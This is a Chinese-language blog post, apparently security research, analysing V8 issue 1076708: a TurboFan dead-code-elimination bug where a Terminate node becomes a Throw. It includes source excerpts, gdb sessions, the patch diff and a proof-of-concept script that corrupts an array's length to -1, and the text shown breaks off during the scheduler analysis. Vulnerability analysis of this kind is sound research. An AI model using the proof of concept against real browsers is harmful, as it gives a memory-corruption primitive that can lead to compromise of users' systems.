ha1vk's blog
0%

Issues-1076708 漏洞分析

发表于 分类于 ，

0x01 前置知识

Terminate节点的生成

首先该漏洞与Terminate节点有关，那么我们先来研究一下Terminate节点是如何生成的。在代码目录中使用Visual Studio搜索common()->Terminate()，发现在src\compiler\bytecode-graph-builder.cc文件中有一处代码生成了Terminate节点

1
2
3
4
5
6
7
8
9
10
11
12
void BytecodeGraphBuilder::Environment::PrepareForLoop(
    const BytecodeLoopAssignments& assignments,
    const BytecodeLivenessState* liveness) {
  // Create a control node for the loop header.
  Node* control = builder()->NewLoop();

  …………………………………………………………
  // Connect to the loop end.
  Node* terminate = builder()->graph()->NewNode(
      builder()->common()->Terminate(), effect, control);
  builder()->exit_controls_.push_back(terminate);
}

继续搜索该函数的调用BuildGraphFromBytecode->CreateGraph->VisitBytecodes->VisitSingleBytecode->BuildLoopHeaderEnvironment->PrepareForLoop，其中BuildLoopHeaderEnvironment中调用PrepareForLoop的条件如下

1
2
3
4
5
6
7
void BytecodeGraphBuilder::BuildLoopHeaderEnvironment(int current_offset) {
  if (bytecode_analysis().IsLoopHeader(current_offset)) {
  .........................................
    // Add loop header.
    environment()->PrepareForLoop(loop_info.assignments(), liveness);
  .........................................
  }

IsLoopHeader的代码如下

1
2
3
bool BytecodeAnalysis::IsLoopHeader(int offset) const {
  return header_to_info_.find(offset) != header_to_info_.end();
}

即在header_to_info_中如果存在这个offset的话就判断通过，搜索header_to_info_的引用，发现在BytecodeAnalysis::PushLoop中有对header_to_info_进行插入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void BytecodeAnalysis::PushLoop(int loop_header, int loop_end) {
  DCHECK(loop_header < loop_end);
  DCHECK(loop_stack_.top().header_offset < loop_header);
  DCHECK(end_to_header_.find(loop_end) == end_to_header_.end());
  DCHECK(header_to_info_.find(loop_header) == header_to_info_.end());

  int parent_offset = loop_stack_.top().header_offset;

  end_to_header_.insert({loop_end, loop_header});
  auto it = header_to_info_.insert(
      {loop_header, LoopInfo(parent_offset, bytecode_array_->parameter_count(),
                             bytecode_array_->register_count(), zone_)});
  // Get the loop info pointer from the output of insert.
  LoopInfo* loop_info = &it.first->second;

  loop_stack_.push({loop_header, loop_info});
}

继续查找BytecodeAnalysis::PushLoop的调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void BytecodeAnalysis::Analyze() {
  ........................
  for (iterator.GoToEnd(); iterator.IsValid(); --iterator) {
    Bytecode bytecode = iterator.current_bytecode();
    int current_offset = iterator.current_offset();

    ....................
    
    if (bytecode == Bytecode::kJumpLoop) {
      // Every byte up to and including the last byte within the backwards jump
      // instruction is considered part of the loop, set loop end accordingly.
      int loop_end = current_offset + iterator.current_bytecode_size();
      int loop_header = iterator.GetJumpTargetOffset();
      PushLoop(loop_header, loop_end);

即在ByteCode中有Bytecode::kJumpLoop，就可以生成Terminate节点。根据名字，推测出Bytecode::kJumpLoop与循环有关，使用如下代码进行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for (var i=0;i<0x1;i++) {

}
./d8 t.js --print-bytecode
[generated bytecode for function:  (0x2ee80824ff85 <SharedFunctionInfo>)]
Parameter count 1
Register count 3
Frame size 24
         .................................................
         0x2ee80825001b @   41 : 8a 15 00          JumpLoop [21], [0] (0x2ee808250006 @ 20)
         0x2ee80825001e @   44 : 25 fb             Ldar r0
         0x2ee808250020 @   46 : ab                Return 
Constant pool (size = 2)
0x2ee80824ffc1: [FixedArray] in OldSpace
 - map: 0x2ee8080404b1 <Map>
 - length: 2
           0: 0x2ee80824ffad <FixedArray[1]>
           1: 0x2ee80808ab69 <String[#1]: i>
Handler Table (size = 0)
Source Position Table (size = 0)

然后使用如下代码进行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var i = 1;
while (i--) {

}
./d8 t.js --print-bytecode
[generated bytecode for function:  (0x30f00824ff85 <SharedFunctionInfo>)]
Parameter count 1
Register count 3
Frame size 24
         ..............................................
         0x30f008250018 @   38 : 8a 11 00          JumpLoop [17], [0] (0x30f008250007 @ 21)
         0x30f00825001b @   41 : 25 fb             Ldar r0
         0x30f00825001d @   43 : ab                Return 
Constant pool (size = 2)
0x30f00824ffc1: [FixedArray] in OldSpace
 - map: 0x30f0080404b1 <Map>
 - length: 2
           0: 0x30f00824ffad <FixedArray[1]>
           1: 0x30f00808ab69 <String[#1]: i>
Handler Table (size = 0)
Source Position Table (size = 0)

由此可以知道，只要是循环语句，就可以生成JumpLoop字节码，即使代码是无效的(deadcode)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
while (deadcode) {

}
./d8 t.js --print-bytecode
[generated bytecode for function:  (0x33390824ff99 <SharedFunctionInfo>)]
Parameter count 1
Register count 1
Frame size 8
         ...........................................
         0x333908250000 @   10 : 8a 06 00          JumpLoop [6], [0] (0x33390824fffa @ 4)
         0x333908250003 @   13 : 25 fb             Ldar r0
   22 S> 0x333908250005 @   15 : ab                Return 
Constant pool (size = 1)
0x33390824ffc9: [FixedArray] in OldSpace
 - map: 0x3339080404b1 <Map>
 - length: 1
           0: 0x33390824ff61 <String[#8]: deadcode>
Handler Table (size = 0)
Source Position Table (size = 8)
0x333908250085 <ByteArray[8]>
t.js:1: ReferenceError: deadcode is not defined
while (deadcode) {
       ^
ReferenceError: deadcode is not defined
    at t.js:1:8

现在，我们加入JIT，并分析其生成的IR图

1
2
3
4
5
var x = 0;
for (var i=0;i<0x20000;i++) {
   x += i;
}
print(x);

可以看到，确实生成了Terminate节点
image.png

DeadCode

在JS中出现语义错误的代码（变量未定义、函数未定义等），也是可以被加入JIT中编译的，并且有可以使用一种方法让解释器不报错，如下代码

1
2
3
4
function opt() {
   x += i;
}
opt();

显然，x和i在在当前上下文中都没有定义，执行这段代码解释器直接报错，opt里的代码就叫做deadcode，我们在函数前加上一个async，就不会报错了，因为这变成异步函数了，解释器还来不及检查

1
2
3
4
async function opt() {
   x += i;
}
opt();

现在，加入JIT编译

1
2
3
4
5
6
7
async function opt() {
   x += i;
}

for (var i=0;i<0x10000;i++) {
   opt();
}

发现也可以成功编译，并且在EscapeAnalysis阶段被标记为了Dead，这是由于在函数中分析出所有的变量都没有逃逸，因此直接确定为Dead了。
image.png
现在将x外提，使得x发生逃逸

1
2
3
4
5
6
7
8
var x = 0;
async function opt() {
   x += i;
}

for (let i=0;i<0x10000;i++) {
   opt();
}

这回没有发现Dead节点的生成。

Unreachable节点的生成

Unreachable是一种节点，在本漏洞中也有用到，我们来分析一下，其是在DeadCodeElimination::ReduceEffectNode中生成的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Reduction DeadCodeElimination::ReduceEffectNode(Node* node) {
  DCHECK_EQ(1, node->op()->EffectInputCount());
  Node* effect = NodeProperties::GetEffectInput(node, 0);
  if (effect->opcode() == IrOpcode::kDead) {
    return Replace(effect);
  }
  if (Node* input = FindDeadInput(node)) {
    if (effect->opcode() == IrOpcode::kUnreachable) {
      RelaxEffectsAndControls(node);
      return Replace(DeadValue(input));
    }

    Node* control = node->op()->ControlInputCount() == 1
                        ? NodeProperties::GetControlInput(node, 0)
                        : graph()->start();
    Node* unreachable =
        graph()->NewNode(common()->Unreachable(), effect, control);
    NodeProperties::SetType(unreachable, Type::None());
    ReplaceWithValue(node, DeadValue(input), node, control);
    return Replace(unreachable);
  }

  return NoChange();
}

其调用链如下DeadCodeElimination::Reduce->DeadCodeElimination::ReduceNode->DeadCodeElimination::ReduceEffectNode,DeadCodeElimination在多个阶段被调用，其中在TypedLoweringPhase就有被调用。

1
2
3
4
5
6
7
8
9
10
struct TypedLoweringPhase {
  DECL_PIPELINE_PHASE_CONSTANTS(TypedLowering)

  void Run(PipelineData* data, Zone* temp_zone) {
    ....................
    AddReducer(data, &graph_reducer, &dead_code_elimination);
    ....................
    graph_reducer.ReduceGraph();
  }
};

分析ReduceEffectNode的代码，首先得满足FindDeadInput(node)的条件，FindDeadInput(node)代码如下

1
2
3
4
5
6
7
8
9
10
11
12
Node* FindDeadInput(Node* node) {
  for (Node* input : node->inputs()) {
    if (NoReturn(input)) return input;
  }
  return nullptr;
}
bool NoReturn(Node* node) {
  return node->opcode() == IrOpcode::kDead ||
         node->opcode() == IrOpcode::kUnreachable ||
         node->opcode() == IrOpcode::kDeadValue ||
         NodeProperties::GetTypeOrAny(node).IsNone();
}

为了弄清楚整个过程，我们使用如下代码测试

1
2
3
4
5
6
7
8
async function opt() {
   var a = new Uint8Array(10);
   a[0x100000000] = 2;
}

for (let i=0;i<0x10000;i++) {
   opt();
}

首先使用--trace-turbo选项生成IR图，然后我们使用gdb进行调试。

1
2
3
4
5
6
7
8
gdb ./d8
set args ./t.js
r
^C
b pipeline.cc:2437
b DeadCodeElimination::ReduceEffectNode
dis 2
r

其中pipeline.cc:2437处为 Run<TypedLoweringPhase>();，即我们在TypedLoweringPhase阶段断点，因为DeadCodeElimination在前面的阶段也有调用，所以得先让TypedLoweringPhase断下，然后开启断点2，并继续运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
In file: /home/hi/Desktop/v8/src/compiler/dead-code-elimination.cc
   283   }
   284   return NoChange();
   285 }
   286 
   287 Reduction DeadCodeElimination::ReduceEffectNode(Node* node) {
 ► 288   DCHECK_EQ(1, node->op()->EffectInputCount());
   289   Node* effect = NodeProperties::GetEffectInput(node, 0);
   290   if (effect->opcode() == IrOpcode::kDead) {
   291     return Replace(effect);
   292   }
   293   if (Node* input = FindDeadInput(node)) {
pwndbg> p node->id()
$3 = 6

可以知道当前处理的上节点6，即对应图中的6: Checkpoint
image.png
可以知道，其输入节点中没有满足FindDeadInput，继续运行，处理下一个节点，我们可以在满足条件if (Node* input = FindDeadInput(node))里下断点，然后继续运行

1
2
3
b dead-code-elimination.cc:294
dis 2
c

此时断下了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
In file: /home/hi/Desktop/v8/src/compiler/dead-code-elimination.cc
   289   Node* effect = NodeProperties::GetEffectInput(node, 0);
   290   if (effect->opcode() == IrOpcode::kDead) {
   291     return Replace(effect);
   292   }
   293   if (Node* input = FindDeadInput(node)) {
 ► 294     if (effect->opcode() == IrOpcode::kUnreachable) {
   295       RelaxEffectsAndControls(node);
   296       return Replace(DeadValue(input));
   297     }
   298 
   299     Node* control = node->op()->ControlInputCount() == 1
pwndbg> p node->id()
$2 = 87

当前处理的节点是87
image.png
那么就是说87: SpeculativeToNumber这个节点将被替换为Unreachable，这说明87: SpeculativeToNumber的inputs满足了FindDeadInput(node)的条件，进一步调试

1
2
3
4
5
6
pwndbg> p input->opcode()
$66 = v8::internal::compiler::IrOpcode::kCheckSmi
pwndbg> p NodeProperties::GetTypeOrAny(input).IsNone()
$67 = true
pwndbg> p input->id()
$68 = 85

可以知道是85: CheckSmi这个节点，由于推断出了其类型不属于Smi，因为我们的脚本中下标为0x100000000，因此这个输入节点是无效的。
image.png
于是87节点被替换为了Unreachable节点，且新节点的标号为148。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
In file: /home/hi/Desktop/v8/src/compiler/dead-code-elimination.cc
   300                         ? NodeProperties::GetControlInput(node, 0)
   301                         : graph()->start();
   302     Node* unreachable =
   303         graph()->NewNode(common()->Unreachable(), effect, control);
   304     NodeProperties::SetType(unreachable, Type::None());
 ► 305     ReplaceWithValue(node, DeadValue(input), node, control);
   306     return Replace(unreachable);
   307   }
   308 
   309   return NoChange();
   310 }
pwndbg> p unreachable->id()
$69 = 148

这与TypedLowering阶段的IR图相吻合。
image.png

0x02 漏洞分析

patch分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
diff --git a/src/compiler/dead-code-elimination.cc b/src/compiler/dead-code-elimination.cc
index f39e6ca..bab6b7b 100644
--- a/src/compiler/dead-code-elimination.cc
+++ b/src/compiler/dead-code-elimination.cc
@@ -317,7 +317,10 @@
          node->opcode() == IrOpcode::kTailCall);
   Reduction reduction = PropagateDeadControl(node);
   if (reduction.Changed()) return reduction;
-  if (FindDeadInput(node) != nullptr) {
+  // Terminate nodes are not part of actual control flow, so they should never
+  // be replaced with Throw.
+  if (node->opcode() != IrOpcode::kTerminate &&
+      FindDeadInput(node) != nullptr) {
     Node* effect = NodeProperties::GetEffectInput(node, 0);
     Node* control = NodeProperties::GetControlInput(node, 0);
     if (effect->opcode() != IrOpcode::kUnreachable) {

从patch中可以知道，漏洞点出现在dead-code-elimination中的DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Reduction DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall(
    Node* node) {
  DCHECK(node->opcode() == IrOpcode::kDeoptimize ||
         node->opcode() == IrOpcode::kReturn ||
         node->opcode() == IrOpcode::kTerminate ||
         node->opcode() == IrOpcode::kTailCall);
  Reduction reduction = PropagateDeadControl(node);
  if (reduction.Changed()) return reduction;
  if (FindDeadInput(node) != nullptr) {
    Node* effect = NodeProperties::GetEffectInput(node, 0);
    Node* control = NodeProperties::GetControlInput(node, 0);
    if (effect->opcode() != IrOpcode::kUnreachable) {
      effect = graph()->NewNode(common()->Unreachable(), effect, control);
      NodeProperties::SetType(effect, Type::None());
    }
    node->TrimInputCount(2);
    node->ReplaceInput(0, effect);
    node->ReplaceInput(1, control);
    NodeProperties::ChangeOp(node, common()->Throw());
    return Changed(node);
  }
  return NoChange();
}

patch修复的情况是不将Terminate节点替换为Throw节点，因此漏洞就发生在将Terminate节点替换为Throw以后。首先分析如何触发该代码路径，即当前node必须为Terminate，且其输入满足FindDeadInput(node)的条件。
首先尝试如下代码

1
2
3
4
5
6
7
8
async function opt() {
   while (deadcode) {
   }
}

for (let i=0;i<0x10000;i++) {
   opt();
}

发现其并没有被替换为Throw，这是因为Terminate的两个inputs均有效，不满足FindDeadInput的条件
image.png
如果能够在Terminate节点之前添加一个Unreachable节点，那么进入ReduceDeoptimizeOrReturnOrTerminateOrTailCall函数时就能触发到漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
function opt() {
   var a = new Uint8Array(10);
   a[0x100000000] = 2;
   async function deadcode() {
      while (deaddeaddead) {
      }
   }
   deadcode();
}

for (let i=0;i<0x10000;i++) {
   opt();
}

此时发现Terminate节点不仅没有被替换为Throw节点，反而是被去除掉了。
image.png
经过调试，发现Terminate节点在DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall函数中的PropagateDeadControl被消除了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Reduction DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall(
    Node* node) {
  DCHECK(node->opcode() == IrOpcode::kDeoptimize ||
         node->opcode() == IrOpcode::kReturn ||
         node->opcode() == IrOpcode::kTerminate ||
         node->opcode() == IrOpcode::kTailCall);
  Reduction reduction = PropagateDeadControl(node);
  if (reduction.Changed()) return reduction;
  .................
   81 Reduction DeadCodeElimination::PropagateDeadControl(Node* node) {
   82   DCHECK_EQ(1, node->op()->ControlInputCount());
   83   Node* control = NodeProperties::GetControlInput(node);
 ► 84   if (control->opcode() == IrOpcode::kDead) return Replace(control);
   85   return NoChange();
   86 }
pwndbg> p control->opcode()
$40 = v8::internal::compiler::IrOpcode::kDead
pwndbg> p node->id()
$41 = 81
pwndbg> p node->opcode()
$42 = v8::internal::compiler::IrOpcode::kTerminate

可以知道，这里Terminate节点被消除的原因时因为他的控制流输入全都无效了,而对于Terminate节点，其有两个输入，一个是EffectPhi，另一个是LOOP，经过调试发生这两个节点都会被优化掉，究其原因是因为循环中的变量依赖过于简单，示例中，我们的条件是deaddeaddead，这个不存在的变量直接被判断无效，导致整个循环都会被优化去除。
image.png
尝试将代码修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function opt() {
   var a = new Uint8Array(10);
   a[0x100000000] = 2;
   async function deadcode() {
      const obj = {};
      while (obj) {
         dead(beef);
      }
   }
   deadcode();
}

for (let i=0;i<0x10000;i++) {
   opt();
}

发现在Inlining阶段，代码就被标记为dead了，且LOOP节点也不见了
image.png
因此继续更正我们的代码，使得至少循环语句是没有问题的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function opt() {
   var a = new Uint8Array(10);
   a[0x100000000] = 2;
   async function deadcode() {
      const obj = {};
      while (1) {
         if (obj) {
             dead(beef);
         }
      }
   }
   deadcode();
}

for (let i=0;i<0x10000;i++) {
   opt();
}

这回在Inline阶段，Terminate和LOOP节点被保留了，但是在TypedLowering阶段，Terminate节点仍然被消除了，但是在实际调试中，ReduceDeoptimizeOrReturnOrTerminateOrTailCall函数中处理Terminate节点时，其输入节点并不全都是Dead状态，因此这回没有在ReduceDeoptimizeOrReturnOrTerminateOrTailCall中被消除，经过调试发现是在DeadCodeElimination::ReduceLoopOrMerge中被消除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Reduction DeadCodeElimination::ReduceLoopOrMerge(Node* node) {
  DCHECK(IrOpcode::IsMergeOpcode(node->opcode()));
  Node::Inputs inputs = node->inputs();
  DCHECK_LE(1, inputs.count());
  // Count the number of live inputs to {node} and compact them on the fly, also
  // compacting the inputs of the associated {Phi} and {EffectPhi} uses at the
  // same time.  We consider {Loop}s dead even if only the first control input
  // is dead.
  .....................
  } else if (live_input_count == 1) {
      ......................
      } else if (use->opcode() == IrOpcode::kTerminate) {
        DCHECK_EQ(IrOpcode::kLoop, node->opcode());
        Replace(use, dead());
      }
....................
}

调试如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
In file: /home/hi/Desktop/v8/src/compiler/dead-code-elimination.cc
   150         // Remember the loop exits so that we can mark their loop input dead.
   151         // This has to be done after the use list iteration so that we do
   152         // not mutate the use list while it is being iterated.
   153         loop_exits.push_back(use);
   154       } else if (use->opcode() == IrOpcode::kTerminate) {
 ► 155         DCHECK_EQ(IrOpcode::kLoop, node->opcode());
   156         Replace(use, dead());
   157       }
   158     }
   159     for (Node* loop_exit : loop_exits) {
   160       loop_exit->ReplaceInput(1, dead());
pwndbg> p node->inputs()[0]->id()
$79 = 50
pwndbg> p node->inputs()[0]->opcode()
$80 = v8::internal::compiler::IrOpcode::kJSCreateTypedArray
pwndbg> p node->inputs()[1]->id()
$81 = 148
pwndbg> p node->inputs()[1]->opcode()
$82 = v8::internal::compiler::IrOpcode::kDead
pwndbg> p node->id()
$83 = 82
pwndbg> p node->opcode()
$84 = v8::internal::compiler::IrOpcode::kLoop

image.png
与IR图对应起来，DeadCodeElimination::ReduceLoopOrMerge的规则是，如果LOOP节点的有效输入节点为1个，那么Terminate节点会被消除。
尝试改造为嵌套循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function opt() {
   var a = new Uint8Array(10);
   a[0x100000000] = 2;
   async function deadcode() {
      const obj = {};
      while (1) {
             while (obj) {
                dead(beef);
             }

      }
   }
   deadcode();
}

for (let i=0;i<0x10000;i++) {
   opt();
}

image.png
此时LOOP的第二个输入节点的路径上条件过于简单，将导致被优化去除，因此，我们尝试在内层循环中增加一个条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function opt() {
   var a = new Uint8Array(10);
   a[0x100000000] = 2;
   async function deadcode() {
      const obj = {};
      while (1) {
         if (badbeef) {
             while (obj) {
                dead(beef);
             }
         }

      }
   }
   deadcode();
}

for (let i=0;i<0x10000;i++) {
   opt();
}

image.png
此时节点上Merge，该节点的第二个输入节点的路径也过于简单，将导致其第二个输入为dead，因此在DeadCodeElimination::ReduceLoopOrMerge中108: Merge会被替换为Inputs[0]，即更新为107: ifFalse，该路径同样后续会变成dead。
尝试复杂化条件表达式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function opt() {
   var a = new Uint8Array(10);
   a[0x100000000] = 2;
   async function deadcode() {
      const obj = {};
      while (1) {
         if (badbeef + a + b + c*d) {
             while (obj) {
                dead(beef);
             }
         }

      }
   }
   deadcode();
}

for (let i=0;i<0x10000;i++) {
   opt();
}

这回发现Terminate节点没有生成，在inline阶段就出现了Dead节点，且整个流程依赖简单，导致后续LOOP节点的输入都无效从而被优化去除。
image.png
通过实验可以发现，在DeadCode后面放置await语句，可以增加多个节点分支于LOOP节点的路径上，这样LOOP节点前期就不会被优化去掉了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function opt() {
   var a = new Uint8Array(10);
   a[0x100000000] = 2;
   async function deadcode() {
      const obj = {};
      while (1) {
         if (badbeef + a + b + c*d) {
             while (obj) {
                await 666;
                dead(beef);
             }
         }

      }
   }
   deadcode();
}

for (let i=0;i<0x10000;i++) {
   opt();
}

image.png
这次在LOOP的输入节点路径上，由于IfValue不会被优化掉，因此整个路径就不会被优化去除。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
In file: /home/hi/Desktop/v8/src/compiler/dead-code-elimination.cc
   108   DCHECK_EQ(inputs.count(), live_input_count);
   109   return NoChange();
   110 }
   111 
   112 Reduction DeadCodeElimination::ReduceLoopOrMerge(Node* node) {
 ► 113   DCHECK(IrOpcode::IsMergeOpcode(node->opcode()));
pwndbg> p node->opcode()
$217 = v8::internal::compiler::IrOpcode::kLoop
pwndbg> p node->id()
$218 = 106
pwndbg> p node->inputs()[0]->opcode()
$219 = v8::internal::compiler::IrOpcode::kJSCreateTypedArray
pwndbg> p node->inputs()[1]->opcode()
$220 = v8::internal::compiler::IrOpcode::kIfFalse

同时，在TypedLowering阶段可以看到漏洞也被触发了
image.png
经过EarlyOptimization，多余的Throw也被去掉了，剩下两个Throw
image.png
而且可以看出，它们的effect连接着的上同一个节点Unreachable。

修复后的情况

首先了解一下Reduce过程中节点的遍历的顺序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
void GraphReducer::ReduceGraph() { ReduceNode(graph()->end()); }

void GraphReducer::ReduceNode(Node* node) {
  DCHECK(stack_.empty());
  DCHECK(revisit_.empty());
  Push(node);
  for (;;) {
    if (!stack_.empty()) {
      // Process the node on the top of the stack, potentially pushing more or
      // popping the node off the stack.
      ReduceTop();
    } else if (!revisit_.empty()) {
      // If the stack becomes empty, revisit any nodes in the revisit queue.
      Node* const node = revisit_.front();
      revisit_.pop();
      if (state_.Get(node) == State::kRevisit) {
        // state can change while in queue.
        Push(node);
      }
    } else {
..............
void GraphReducer::ReduceTop() {
  NodeState& entry = stack_.top();
  Node* node = entry.node;
  DCHECK_EQ(State::kOnStack, state_.Get(node));

  if (node->IsDead()) return Pop();  // Node was killed while on stack.

  Node::Inputs node_inputs = node->inputs();

  // Recurse on an input if necessary.
  int start = entry.input_index < node_inputs.count() ? entry.input_index : 0;
  for (int i = start; i < node_inputs.count(); ++i) {
    Node* input = node_inputs[i];
    if (input != node && Recurse(input)) {
      entry.input_index = i + 1;
      return;
    }
  }
  for (int i = 0; i < start; ++i) {
    Node* input = node_inputs[i];
    if (input != node && Recurse(input)) {
      entry.input_index = i + 1;
      return;
    }
  }
....................

从算法中可以看出，遍历是从End节点开始向上进行深度优先搜索进行遍历的，然后对于不同的节点，调用不同的Reduce方法进行Reduce。
这意味着LOOP节点比Terminate节点先进行Reduce，因为从End出发最左边开始必然有一条路径先到达LOOP
image.png
前面分析过在Reduction DeadCodeElimination::ReduceLoopOrMerge函数中可能对Terminate节点进行消除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
} else if (live_input_count == 1) {
  NodeVector loop_exits(zone_);
  // Due to compaction above, the live input is at offset 0.
  for (Node* const use : node->uses()) {
    if (NodeProperties::IsPhi(use)) {
      Replace(use, use->InputAt(0));
    } else if (use->opcode() == IrOpcode::kLoopExit &&
               use->InputAt(1) == node) {
      // Remember the loop exits so that we can mark their loop input dead.
      // This has to be done after the use list iteration so that we do
      // not mutate the use list while it is being iterated.
      loop_exits.push_back(use);
    } else if (use->opcode() == IrOpcode::kTerminate) {
      DCHECK_EQ(IrOpcode::kLoop, node->opcode());
      Replace(use, dead());
    }
  }

第一次遍历到LOOP时，由于LOOP的两个inputs均有效，Terminate节点不会被优化掉。当所以节点遍历完毕以后，需要考虑那些需要Revisit的节点，从栈中依次将他们取出然后进行处理，而LOOP节点则会被遍历到，因为与LOOP节点相连接的父节点发生更新(83：Merge 、112::Phi)时，LOOP节点两次被加入Revisit。而此后，169:Branch节点的condition早已经经过CommonOperatorReducer，已经判断出条件为dead节点了，将使得下一次Visit时，在DeadCodeElimination中的ReduceBranchOrSwitch把169:Branch节点消除，这将使得LOOP的第二个输入变得无效，进而会把Terminate节点给消除掉。而原漏洞中，由于把Terminate节点替换为了Throw，那么在ReduceLoopOrMerge中就没有满足use->opcode() == IrOpcode::kTerminate条件，自然也就不会消除该节点。由此，该漏洞本质上是与LOOP配套的Terminate在LOOP被消除时以另一个名的形式仍然存在于源控制流的路径上，使得控制流混乱。
正常情况的流程如下，我们继续分析
image.png
在EarlyOptimizationPhase阶段会使用以下几个优化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
struct EarlyOptimizationPhase {
  DECL_PIPELINE_PHASE_CONSTANTS(EarlyOptimization)

  void Run(PipelineData* data, Zone* temp_zone) {
    GraphReducer graph_reducer(temp_zone, data->graph(),
                               &data->info()->tick_counter(),
                               data->jsgraph()->Dead());
    DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
                                              data->common(), temp_zone);
    SimplifiedOperatorReducer simple_reducer(&graph_reducer, data->jsgraph(),
                                             data->broker());
    RedundancyElimination redundancy_elimination(&graph_reducer, temp_zone);
    ValueNumberingReducer value_numbering(temp_zone, data->graph()->zone());
    MachineOperatorReducer machine_reducer(&graph_reducer, data->jsgraph());
    CommonOperatorReducer common_reducer(&graph_reducer, data->graph(),
                                         data->broker(), data->common(),
                                         data->machine(), temp_zone);
    AddReducer(data, &graph_reducer, &dead_code_elimination);
    AddReducer(data, &graph_reducer, &simple_reducer);
    AddReducer(data, &graph_reducer, &redundancy_elimination);
    AddReducer(data, &graph_reducer, &machine_reducer);
    AddReducer(data, &graph_reducer, &common_reducer);
    AddReducer(data, &graph_reducer, &value_numbering);
    graph_reducer.ReduceGraph();
  }
};

其中114:Switch会在CommonOperatorReducer中的ReduceSwitch进行优化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
In file: /home/hi/Desktop/v8/src/compiler/common-operator-reducer.cc
   445       Node* if_value = projections[i];
   446       DCHECK_EQ(IrOpcode::kIfValue, if_value->opcode());
   447       const IfValueParameters& p = IfValueParametersOf(if_value->op());
   448       if (p.value() == mswitched.Value()) {
   449         matched = true;
 ► 450         Replace(if_value, control);
   451         break;
   452       }
   453     }
pwndbg> p control->id()
$3 = 55
pwndbg> p control->opcode()
$4 = v8::internal::compiler::IrOpcode::kCall

................
   454     if (!matched) {
   455       Node* if_default = projections[projection_count - 1];
   456       DCHECK_EQ(IrOpcode::kIfDefault, if_default->opcode());
   457       Replace(if_default, control);
   458     }
 ► 459     return Replace(dead());

这意味着分支预测成功，左分支被保留，同时114 Switch被置为Dead，那么与之相连接的其他节点会在DeadCodeElimination被去除，其中去除Throw的逻辑是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Reduction DeadCodeElimination::Reduce(Node* node) {
  DisallowHeapAccess no_heap_access;
  switch (node->opcode()) {
.........................
    case IrOpcode::kThrow:
      return PropagateDeadControl(node);
    case IrOpcode::kBranch:
    case IrOpcode::kSwitch:
      return ReduceBranchOrSwitch(node);
    default:
      return ReduceNode(node);
  }
  UNREACHABLE();
}

最终的结果如图
image.png
而有漏洞的程序版本是这样的
image.png
这是因为113：Throw并不属于那几个分支，不会被去掉。

POC分析

给出的POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
class classA {
  constructor() {
    this.val = 0x4242;
    this.x = 0;
  }
}

class classB {
  constructor() {
    this.val = 0x4141;
    this.x = "AAA";
  }
}

var A = new classA();
var B = new classB();

function opt(arg1,arg2) {
   if (arg2 == 666) {
      return 666;
   }
   var a = new Uint8Array(10);
   arg1.val = -1;
   a[0x100000000] = 2;
   async function deadcode() {
      const obj = {};
      while (1) {
         if (badbeef + a + b + c*d) {
             while (obj) {
                await 666;
                dead(beef);
             }
         }

      }
   }
   deadcode();
}

for (let i=0;i<10000;i++) {
   opt(A,0);
   opt(B,0);
}

for (let i=0;i<5000;i++) {
   opt(A,666);
   opt(B,666);
}

var arr = [1.1,2.2,3.3];
opt(arr,0);
print(arr.length);

运行以后成功输出数组长度为-1，现在，我们来分析一下这个POC的原理
首先通过对比bug版本与nobug版本对于同一POC的输出数据，可以发现在schedule中的代码顺序有一些不一样。
image.png
其中的arg1.val = -1;所对应的中间代码理应归为基本块B7中，现在由于漏洞，使得其字节码归为了B4，而它的CheckMap的字节码被划分到B5，由于代码是按照顺序翻译下来并执行的，这就会导致arg1.val = -1;比arg1的类型检查先一步执行。
image.png
现在来研究一下为什么会出现这种情况，首先在Run<ComputeSchedulePhase>();处下断点

1
b pipeline.cc:3032

因为这个地方对应了流程中的schedule阶段，断点后跟进，最后会来到Schedule* Scheduler::ComputeSchedule函数，其位于scheduler.cc文件中，可以看出，这就是schedule的整个流程了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
